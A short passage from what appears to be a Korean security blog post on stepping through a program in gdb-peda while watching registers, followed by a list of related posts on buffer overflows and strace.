0x80488a7 <main+4>: and esp,0xfffffff0
Step into instructions:
gdb-peda$ si
Keep watching your registers and note when it screws up.
Simple BOF Problem (0) | 2019.04.10 |
---|---|
해커스쿨 문서 백업 (Syshacks) (0) | 2019.02.17 |
Bufferoverflow 기법 정리 (0) | 2015.09.22 |
핸드레이 (0) | 2015.09.05 |
strace, 제가 한번 사용해 보겠습니다. (0) | 2014.07.22 |